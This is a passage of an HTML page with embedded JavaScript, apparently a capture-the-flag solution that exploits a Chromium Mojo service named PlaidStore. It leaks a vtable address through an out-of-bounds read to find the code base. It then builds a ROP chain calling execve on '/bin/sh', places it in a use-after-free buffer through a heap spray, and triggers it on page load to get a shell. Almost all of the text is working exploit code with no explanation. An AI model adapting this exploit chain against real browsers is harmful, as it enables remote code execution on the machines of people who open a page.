        console.log('pop_rdi_ret: ', pop_rdi_ret);

        var pop_rsi_ret = code_base+0x2d278d2;
        console.log('pop_rsi_ret: ', pop_rsi_ret);

        var pop_rdx_ret = code_base+0x2e9998e;
        console.log('pop_rdx_ret: ', pop_rdx_ret);

        var pop_rax_ret = code_base+0x2e651dd;
        console.log('pop_rax_ret: ', pop_rax_ret);

        var syscall = code_base+0x2ef528d;
        console.log('syscall: ', syscall);

        var uaf_ab = new ArrayBuffer(kRenderFrameHost);
        var uaf_ta = new BigUint64Array(uaf_ab);
        uaf_ta[0] = BigInt(iframe_render_frame_host_addr)+0x10n;
        uaf_ta[1] = 0n;
        uaf_ta[2] = 0n; //use by pop rbp
        uaf_ta[3] = BigInt(pop_rdi_ret);
        uaf_ta[4] = BigInt(iframe_render_frame_host_addr)+0x10n+0x160n+8n;
        uaf_ta[5] = BigInt(pop_rsi_ret);
        uaf_ta[6] = BigInt(0);
        uaf_ta[7] = BigInt(pop_rdx_ret);
        uaf_ta[8] = BigInt(0);
        uaf_ta[9] = BigInt(pop_rax_ret);
        uaf_ta[10] = BigInt(59);
        uaf_ta[11] = BigInt(syscall);
        uaf_ta[(0x10+0x160)/8] = BigInt(xchg);

        var uaf_uint8 = new Uint8Array(uaf_ab); // /bin/sh\x00
        uaf_uint8[0x10+0x160+8+0] = 0x2f;
        uaf_uint8[0x10+0x160+8+1] = 0x62;
        uaf_uint8[0x10+0x160+8+2] = 0x69;
        uaf_uint8[0x10+0x160+8+3] = 0x6e;
        uaf_uint8[0x10+0x160+8+4] = 0x2f;
        uaf_uint8[0x10+0x160+8+5] = 0x73;
        uaf_uint8[0x10+0x160+8+6] = 0x68;
        uaf_uint8[0x10+0x160+8+7] = 0x00;

        console.log("heap spray");
        for(let i = 0; i < try_size; i++){ 
          //await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32));
          await ptr.storeData(""+i, new Uint8Array(uaf_ab));
        }
        console.log('getshell');
        ptr.getData("1");
      }
      async function oob(){
        console.log("oob");
        var ps_list = [];
        var try_size = 100;
        var vt_addr = 0;
        var render_frame_host_addr = 0;
        var code_base = 0;
        for(let i = 0; i < try_size; i++){
          var pipe = Mojo.createMessagePipe();
          Mojo.bindInterface(blink.mojom.PlaidStore.name,
            pipe.handle1, "context", true);
          var tmp_ps_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
          await tmp_ps_ptr.storeData("aaaa", new Array(0x30).fill(0x31))
          ps_list.push(tmp_ps_ptr);
        }
        for(let i = 0; i < try_size; i++){
          if(vt_addr != 0){
            break;
          }
          var tmp_ps_ptr = ps_list[i];
          let r = await tmp_ps_ptr.getData("aaaa", 0x100);
          let oob_data = r.data;
          for(let i = 0x30; i < 0x100; i = i + 8){
            let tmp_oob_data = b2i(oob_data.slice(i, i+8));
            if(hex(tmp_oob_data & 0xfff) == "0x7a0"){
                vt_addr = tmp_oob_data;
                code_base = vt_addr - 0x9fb67a0;
                console.log('vt_addr is: ', hex(vt_addr));
                console.log('code_base is: ', hex(code_base));
                render_frame_host_addr = b2i(oob_data.slice(i+8, i+16));
                console.log('render_frame_host_addr is: ', hex(render_frame_host_addr));
                break;
            }
          }
        }
        r2p_rfh(hex(render_frame_host_addr));
        r2p_code_base(hex(code_base));
      }
  </script>
  </head>
  <body onload="trigger()"></body>
</html>